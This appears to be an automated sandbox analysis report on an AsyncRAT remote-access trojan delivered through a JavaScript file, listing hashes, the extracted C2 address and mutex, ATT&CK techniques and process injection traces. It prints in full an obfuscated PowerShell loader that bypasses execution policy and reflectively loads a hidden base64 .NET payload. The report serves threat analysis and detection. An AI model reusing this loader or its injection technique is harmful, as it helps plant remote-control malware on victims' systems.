asyncrat | a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 19:18

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General

Target
a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea.js
Size 36.8MB
Sample260916-xz7cmsda93
SHA256 a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea
MD5 4f53e55c9f3cfe1105b118ecf390b95c
SHA1 99a3564a7ade03b2fb42a684dd3ee1cd31e8760e
SHA512 d75eda725045f38259844055c166b6a112b3735e88ecb07ed8fd476cf4613fbbb7b504175512e9274340ecea3b2fbcbbc5438ff96c7051695af5a98896ad1faa
SSDEEP 3072:g/QcAhVvgLzc3OZxnaRroo027LcCc4cJcMYz+d4kcCX1ZlBpXcYctnAVU6bKGc99:JT+e
TLSH
T1BF875DC49F8025FD6B0FB9311056E9ECE23A2B65D25219151A8CBE94EFD31DD0F09BAC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

2026 discovery execution asyncrat rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

2026

194.58.47.81:5025

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5100	4468	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2364	4468	powershell.exe	89
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2804	4468	powershell.exe	89

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	5100	powershell.exe
8	2364	powershell.exe
9	2804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5100	powershell.exe
2364	powershell.exe
2804	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5100 set thread context of 1600	5100	powershell.exe	94
PID 2364 set thread context of 2120	2364	powershell.exe	97
PID 2804 set thread context of 556	2804	powershell.exe	100

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_regsql.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
5100	powershell.exe
2364	powershell.exe
2364	powershell.exe
2804	powershell.exe
2804	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5100	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 3128	5100	powershell.exe	92
PID 5100 wrote to memory of 4244	5100	powershell.exe	93
PID 5100 wrote to memory of 1600	5100	powershell.exe	94
PID 5100 wrote to memory of 1600	5100	powershell.exe	94
PID 5100 wrote to memory of 1600	5100	powershell.exe	94
PID 5100 wrote to memory of 1600	5100	powershell.exe	94
PID 5100 wrote to memory of 1600	5100	powershell.exe	94
PID 2364 wrote to memory of 2120	2364	powershell.exe	97
PID 2364 wrote to memory of 2120	2364	powershell.exe	97
PID 2364 wrote to memory of 2120	2364	powershell.exe	97
PID 2364 wrote to memory of 2120	2364	powershell.exe	97
PID 2364 wrote to memory of 2120	2364	powershell.exe	97
PID 2804 wrote to memory of 556	2804	powershell.exe	100
PID 2804 wrote to memory of 556	2804	powershell.exe	100
PID 2804 wrote to memory of 556	2804	powershell.exe	100
PID 2804 wrote to memory of 556	2804	powershell.exe	100
PID 2804 wrote to memory of 556	2804	powershell.exe	100

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a530327db0cb5c7da8f26b66b487e130e72bdefdc437fc2a447d690b5612d3ea.js
1⤵
PID:4112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:3128
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  PID:4244
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2120

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$mamoodi=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$Amgun=[System.IO.MemoryStream][Convert]::FromBase64String($mamoodi);[System.Reflection.Assembly]::Load($Amgun.ToArray())|Out-Null;[Win32.RMP.Cls_cOWGusRPOZ]::Met_cOWGusRPOZpX('MW5hEIZ1k+ehXN96NFyde3FAdB/gjj1fPPlgL7gCEheA5rdzjPeDvoSNp6fDpXD4XBlheIF1ttVfIJG1HIXpYeqvpI7vMpt+h/6BQk4IO9zEiE+gU8PK3koaU1FbffDaCBfP/slHBN5vJDYzPmJwM0kix9+8//Gc3dGXxSHPe98=','','hQjwcw0wZAbtAuPFuKwKETys90eV0sxW8Udf8Rr/mlAyw9rYGYabLncMZYSCdmyq','FNGDP7v/kkKV7UajLYLDLrzE584pdqzWyScj7p32gx0=','qaXp2qgbTU9/UFOsL+N3AVhmFI1gEb8hAN8YiWmRIV4=','','0HeKOY61dCN6whbIDa0Hu/OTbcU/odG7gX0tn7hSRag=','','XOPzk4vBZ0WNvVuqIor1zE5uM4s8qDyE+MZaDCO5LiY=','rYb7gF7dEwp62SKveP6cJqZRYAprDPuV9tyJITdXShxsMwbYpjlsK0iuEmc03ZS6','GkambXYAS9aRo7gMNjlHV/16oi3chx1DJ0udBnzk0kk=','P2xNQmFtj25Eri0qS9m9GwDlg6aDODOgM93v5Y2iSk8=','skR6AglORk683EOZ4AHtetTKSTdXG1lqJZpSRtWP+ls=','','Yw93Z73ZHSI1qTh6d/mrqQGqHx77BSYpkzfJnxTsZAA=','WbSWWiZqC8ks2pauH4OMjPIg4TmkBtknQTudIw4aGjs=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1ab23eb7c88739831dcee26ef61cfcc7d51eb7d7fd65dbaaebd6747999818d9c
MD5 c64d77c554377eaeb87701f086183ad8
SHA1 199ded664cc825da200d75454d4c8ec555ff9098
SHA512 240ebcd5ea898b21e7b14b582d0f0ca46472f1048f8ab2831933eecef2b7217645cfef6c1d0ce002fdf7011c75c7ca6368c84b03f39e8e3d5ef6b2eb65297a4b
TLSH
T11751EC323375B1D8C9167F071D68598063BF4396FA94AF1CB298621ED92641B9F222F3
MD5 SHA1 SHA512 TLSH

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aspnet_regsql.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aspnet_regsql.exe.log
Size 425B
SHA256 34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
MD5 4eaca4566b22b01cd3bc115b9b0b2196
SHA1 e743e0792c19f71740416e7b3c061d9f1336bf94
SHA512 bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
TLSH
T112E0AB303321E0D489422F821C1C769503EF0359A110EE183848125FD4251172B312E3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 aa158dd70a15f45448cf9a73e7fa5d19033cca639eca71512da0a54f12bf0b96
MD5 e4dfc405cf94112b746a50669829fe08
SHA1 d9e69a8d1c85f3de872a62956475ff57225ff50d
SHA512 673a3ed913d182a8770bfd59d6ab9ddb191decd2a8a6e465aa1452568a746d7d545a578760b65e933da70f428e9a2af6fcc5cd8a2eb6e2f5b4956f5fa0e63852
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_1u02t24k.ch1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1u02t24k.ch1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1600-11-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/5100-1-0x00000173D20C0000-0x00000173D20D0000-memory.dmp

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memory/5100-0-0x00000173D20C0000-0x00000173D20D0000-memory.dmp

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memory/5100-7-0x00000173D1FA0000-0x00000173D1FC2000-memory.dmp

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memory/5100-10-0x00000173CFD50000-0x00000173CFE30000-memory.dmp

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